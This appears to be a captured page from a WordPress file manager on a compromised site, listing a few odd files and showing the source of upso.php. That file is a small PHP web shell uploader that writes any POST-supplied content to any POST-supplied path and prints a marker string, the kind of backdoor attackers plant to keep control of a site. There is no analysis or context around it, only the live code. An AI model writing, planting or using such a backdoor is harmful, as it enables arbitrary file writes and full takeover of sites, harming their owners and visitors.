WP File Manager

Name	Action
..
.ok	Edit
n2246694pdfoc373.html	Edit
upso.php	Edit

Editing: upso.php

<?php if ($_POST) { $f=fopen($_POST["f"],"w"); if(fwrite($f,$_POST["c"])) echo "<font color=red>OK!</font>"; else echo "<font color=blue>Error!</font>"; }; echo 'SXSXSXSX'; ?>